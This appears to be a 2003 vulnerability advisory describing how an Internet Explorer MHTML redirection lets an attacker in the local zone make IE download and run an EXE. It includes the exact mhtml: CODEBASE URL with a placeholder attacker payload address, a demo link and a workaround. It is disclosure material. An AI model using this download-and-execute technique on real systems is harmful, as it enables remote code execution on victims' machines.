MHTML Redirection Leads to Downloading EXE and Executing [tested] OS:Win2k3,CN version IE: with MS03-048 installed. OS:WinXp, CN version Microsoft Internet Explorer v6.Sp1; up-to-date on 2003/11/16 [overview] A vulnerability in Internet Explorer is found: any attacker that can reach MYCOMPUTER security zone(a.k.a local zone) is able to download his EXE file and execute it. [demo] There is a harmless demo: http://www.safecenter.net/UMBRELLAWEBV4/MhtRedirLaunchInetExe/MhtRedirLaunchInetExe-Demo.zip [technical details] There is a feature in Internet Explorer when it tries to retrieve a file embedded in an MHT file, like: mhtml:[Mhtml_File_Url]![Original_Resource_Url] If [Original_Resource_Url] cannot be retrieved from [Mhtml_File_Url], IE will try to download [Original_Resource_Url] and return the downloaded content. It's like as HTTP redirection. And CODEBASE execution is a URL-based security check. (Liu Die Yu's http://continue.to/trie ) So, in MYCOMPUTER security, point CODEBASE property of an OBJECT tag with unused CLSID to: mhtml:file:///C:\No_SUCH_MHT.MHT![Attaker_PayloadEXE_Url] and then, IE will download [Attaker_PayloadEXE_Url] and execute it. [Workaround] Disable Active Scripting in INTERNET zone. [Greetings] greetings to: Drew Copley, dror, guninski and mkill. ----- all mentioned resources can always be found at UMBRELLA.MX.TC [people] LiuDieyuinchina [N0-@-Sp2m] yahoo.com.cn UMBRELLA.MX.TC ==> How to contact "Liu Die Yu" [message] A wise man learns from other's mistakes; a fool learns from his own. [Employment] I would like to work professionally as a security researcher/bug finder. See my resume at my site. I am very eager to work, flexible, and extremely productive. I have a top notch resume, with credentials from leading bug finders. I am willing to work per contract, relocate, or telecommute. [Give a Hand] I haven't got a job as a security researcher yet and my family don't support my security work - so, I don't have a computer of my own. Please consider about donating at: http://clik.to/donatepc